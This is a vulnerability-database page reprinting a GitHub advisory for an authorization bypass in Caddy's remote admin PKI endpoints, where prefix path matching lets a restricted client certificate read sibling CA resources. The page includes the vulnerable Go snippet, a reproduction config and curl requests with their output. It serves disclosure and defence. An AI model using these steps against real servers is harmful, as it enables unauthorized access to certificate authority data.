Skip to main content

Boteraser | Website and Server Security Solutions

🛡️ GHSA-gx7w-56w6-g48x — caddy

⚪ Unknown ✅ No Known Exploit CWE-863 OSV
N/A
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

Caddy: Remote Admin Authorization Bypass on PKI Endpoints via Prefix-Based Path Matching

AI Disclosure

I used an LLM to help review the source code, reason about attack surface, and help draft and refine this report.

I manually validated the finding by reproducing it locally, confirming the vulnerable code path, and verifying the HTTP behavior with curl -v.

Summary

Caddy's remote admin access control performs path authorization using prefix matching:

  • [admin.go](/caddy/admin.go#L719): strings.HasPrefix(r.URL.Path, allowedPath)

This allows a client certificate authorized only for /pki/ca/prod to access sibling PKI resources whose paths merely share the same prefix, such as /pki/ca/prod-backup.

This is an authorization bug in Caddy's source code, not a misconfiguration issue. The configured policy is more restrictive than the behavior that Caddy actually enforces.

Affected Component

Remote admin access control for PKI admin endpoints.

Relevant code:

  • [admin.go](/caddy/admin.go#L687)
  • [admin.go](/caddy/admin.go#L719)
  • [modules/caddypki/adminapi.go](/caddy/modules/caddypki/adminapi.go#L68)
  • [modules/caddypki/adminapi.go](/caddy/modules/caddypki/adminapi.go#L164)

Root Cause

In RemoteAdmin.enforceAccessControls(), allowed paths are checked like this:

```go

for _, allowedPath := range accessPerm.Paths {

if strings.HasPrefix(r.URL.Path, allowedPath) {

pathFound = true

break

}

}

```

This does not enforce a path-segment boundary.

So if the allowed path is:

/pki/ca/prod

then all of the following are treated as authorized:

  • /pki/ca/prod-backup
  • /pki/ca/prod1
  • /pki/ca/prodanything

For PKI admin endpoints, the CA ID is taken directly from the request path:

  • modules/caddypki/adminapi.go:164

So /pki/ca/prod-backup is interpreted as CA ID prod-backup, even though only /pki/ca/prod was intended to be allowed.

Security Impact

A remote admin client certificate restricted to one PKI CA path can access other CA resources with the same prefix.

This breaks least-privilege remote admin policies and results in authenticated authorization bypass.

Minimal Configuration

File: repro.json

```

{

"admin": {

"listen": "127.0.0.1:2019",

"identity": {

"identifiers": ["localhost"],

"issuers": [

{ "module": "internal" }

]

},

"remote": {

"listen": "127.0.0.1:2021",

"access_control": [

{

"public_keys": ["<CLIENT_CERT_BASE64_DER>"],

"permissions": [

{

"methods": ["GET"],

"paths": ["/pki/ca/prod"]

}

]

}

]

}

},

"apps": {

"pki": {

"certificate_authorities": {

"prod": {

"name": "prod"

},

"prod-backup": {

"name": "prod-backup"

}

}

}

}

}

```

Reproduction Steps From Scratch

1. Generate a client certificate

```

openssl req -x509 -newkey rsa:2048 -nodes -days 365 \

-subj '/CN=remote-admin-client' \

-keyout client.key \

-out client.crt

```

2. Convert the client certificate to base64 DER

CLIENT_CERT_B64="$(openssl x509 -in client.crt -outform der | base64 | tr -d '\n')"

3. Put that value into repro.json

Replace:

<CLIENT_CERT_BASE64_DER>

with the value of CLIENT_CERT_B64.

4. Run Caddy

go run ./cmd/caddy run --config ./repro.json

5. Confirm access to the intended allowed path

```

curl -vk \

--resolve localhost:2021:127.0.0.1 \

--cert ./client.crt \

--key ./client.key \

https://localhost:2021/pki/ca/prod

```

Expected result:

  • HTTP/1.1 200 OK

6. Request a different CA whose path shares the same prefix

```

curl -vk \

--resolve localhost:2021:127.0.0.1 \

--cert ./client.crt \

--key ./client.key \

https://localhost:2021/pki/ca/prod-backup

```

Expected secure behavior:

  • HTTP/1.1 403 Forbidden

Actual behavior:

  • HTTP/1.1 200 OK

Precise HTTP Requests and Output

Allowed path

```

curl -vk \

--resolve localhost:2021:127.0.0.1 \

--cert ./client.crt \

--key ./client.key \

https://localhost:2021/pki/ca/prod

```

Response excerpt:

```

> GET /pki/ca/prod HTTP/1.1

> Host: localhost:2021

> User-Agent: curl/8.5.0

> Accept: */*

>

< HTTP/1.1 200 OK

< Content-Type: application/json

```

Unauthorized sibling path that is incorrectly allowed

```

curl -vk \

--resolve localhost:2021:127.0.0.1 \

--cert ./client.crt \

--key ./client.key \

https://localhost:2021/pki/ca/prod-backup

```

Response excerpt:

```

> GET /pki/ca/prod-backup HTTP/1.1

> Host: localhost:2021

> User-Agent: curl/8.5.0

> Accept: */*

>

< HTTP/1.1 200 OK

< Content-Type: application/json

```

The body returned CA information for prod-backup, desp

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs low-level privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality low, integrity none, availability none.

Weakness class

GHSA-gx7w-56w6-g48x is classified as CWE-863: Incorrect Authorization. An authorisation check runs but reaches the wrong conclusion, permitting actions it should refuse.

Affected software

GHSA-gx7w-56w6-g48x is recorded against 1 package.

  • github.com/caddyserver/caddy/v2

Timeline and source

Published on 19 May 2026 and last revised on 24 July 2026. No public exploit is currently recorded for this entry. Record sourced from OSV.

References

github.com (Web)
github.com (Package)

Details

Severity Unknown
CVSS Score N/A
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
CWE CWE-863
Public Exploit ✅ No
Source OSV
Published 2026-05-19
Updated 2026-08-20
Modified 2026-07-24
Fix URL N/A

Affected Packages

Software From version Fixed in
github.com/caddyserver/caddy/v2

Similar Threats

Free Vulnerability Check

Is your site affected by GHSA-gx7w-56w6-g48x?

BotEraser helps you identify potentially vulnerable plugins and themes by checking your installation against GHSA-gx7w-56w6-g48x and other known CVE records.

Scan My Site Free →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.